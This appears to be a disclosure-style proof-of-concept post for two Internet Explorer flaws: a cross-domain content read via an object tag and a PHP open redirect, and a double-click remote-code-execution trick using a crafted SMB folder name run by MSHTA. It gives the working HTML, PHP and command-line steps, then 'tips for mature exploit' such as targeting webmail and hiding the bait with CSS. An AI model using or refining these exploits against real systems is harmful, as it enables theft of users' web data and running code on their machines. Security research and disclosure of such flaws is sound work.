  1. SUMMARY ~~~~~~~~~~ This document illustrates two issues found in Internet Explorer: One is READ CONTENT OF ANY DOMAIN Another is DOUBLE-CLICK ANYWHERE ON WEB PAGE COULD ALLOW REMOTE CODE EXECUTION

  2. READ CONTENT OF ANY DOMAIN - PROOF OF CONCEPT ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The following proof of concept is incomplete realization of the idea to demonstrate its feasibility. Windows Server 2003, Enterprise Edition, Service Pack 1, 15/06/2006

Upload the following files to Web server, go to i.html ------------------------- i.html ------------------------- <html><body onload="setTimeout('alert(o.object.documentElement.outerHTML)',1000)"> <object width=100 height=100 data=r.php?http://www.google.com/123456789 type=text/html id=o></object> </body></html> ------------------------- r.php ------------------------- <?php header("Location: ".$_SERVER["QUERY_STRING"]); ?>

i.html displays content of Google Web page.

  1. READ CONTENT OF ANY DOMAIN - TIPS FOR MATURE EXPLOIT ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  2. Target Google Desktop, similar to IE Design Flaw Lets Hacker Crack Google Desktop, http://www.eweek.com/article2/0,1895,1895579,00.asp
  3. Target webmail

  4. DOUBLE-CLICK ANYWHERE ON WEB PAGE COULD ALLOW REMOTE CODE EXECUTION - PROOF OF CONCEPT ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The following proof of concept is incomplete realization of the idea to demonstrate its feasibility. Windows Server 2003, Enterprise Edition, Service Pack 1, 15/06/2006

Assume C:\SmbPubRO is shared over SMB \\192.168.0.5\SmbPubRO Run CMD, go to C:\SmbPubRO, and then enter the following command: mkdir test && cd test && mkdir %2e%2e%5cx.{3050f4d8-98B5-11CF-BB82-00AA00BDCE0B} && echo "<html><body><iframe width=300 height=300 src='./' ></iframe>" > test.html && cd .. && echo "<html><body><script>alert('hallo')</script>" > x.{3050f4d8-98B5-11CF-BB82-00AA00BDCE0B} At last, open IE to \\192.168.0.5\SmbPubRO\test\test.html, and double-click the icon labeled %2e%2e%5cx

MSHTA runs remote code.

  1. DOUBLE-CLICK ANYWHERE ON WEB PAGE COULD ALLOW REMOTE CODE EXECUTION - TIPS FOR MATURE EXPLOIT ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  2. Use WebDAV, not SMB
  3. Hide suspicious parts by CSS tricks similar to What A Drag! -revisited-, http://www.mikx.de/index.php?p=1
  4. Set up scenario of double-click
  5. If modified, able to compromise IE7BETA2
  6. If modified, no need to double-click
